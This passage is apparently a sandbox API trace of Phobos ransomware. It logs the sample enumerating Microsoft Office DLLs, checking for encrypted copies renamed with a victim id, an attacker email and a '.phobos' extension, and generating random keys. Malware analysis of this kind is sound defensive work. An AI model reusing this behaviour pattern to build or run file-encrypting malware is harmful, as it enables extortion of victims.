returned 0xffffffff [0125.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.418] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.419] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=18624) returned 1 [0125.419] CloseHandle (hObject=0x594) returned 1 [0125.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0125.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.419] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.420] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=21184) returned 1 [0125.420] CloseHandle (hObject=0x594) returned 1 [0125.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0125.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.420] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.421] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19136) returned 1 [0125.421] CloseHandle (hObject=0x594) returned 1 [0125.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0125.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.421] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.422] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19136) returned 1 [0125.422] CloseHandle (hObject=0x594) returned 1 [0125.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0125.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.422] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.423] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=18624) returned 1 [0125.423] CloseHandle (hObject=0x594) returned 1 [0125.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0125.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.423] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.423] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=11616) returned 1 [0125.423] CloseHandle (hObject=0x594) returned 1 [0125.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0125.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.424] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.424] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19648) returned 1 [0125.424] CloseHandle (hObject=0x594) returned 1 [0125.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0125.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.424] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.425] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=22720) returned 1 [0125.425] CloseHandle (hObject=0x594) returned 1 [0125.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0125.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.425] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.426] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19136) returned 1 [0125.426] CloseHandle (hObject=0x594) returned 1 [0125.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0125.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.426] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.427] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=20672) returned 1 [0125.427] CloseHandle (hObject=0x594) returned 1 [0125.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0125.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.427] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.428] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19648) returned 1 [0125.428] CloseHandle (hObject=0x594) returned 1 [0125.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0125.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.428] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.429] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19136) returned 1 [0125.429] CloseHandle (hObject=0x594) returned 1 [0125.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0125.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.429] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.430] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=27840) returned 1 [0125.430] CloseHandle (hObject=0x594) returned 1 [0125.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0125.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.430] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.430] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=26816) returned 1 [0125.430] CloseHandle (hObject=0x594) returned 1 [0125.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0125.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.431] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.431] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=70848) returned 1 [0125.431] CloseHandle (hObject=0x594) returned 1 [0125.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0125.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.431] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.432] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=19648) returned 1 [0125.432] CloseHandle (hObject=0x594) returned 1 [0125.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0125.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft 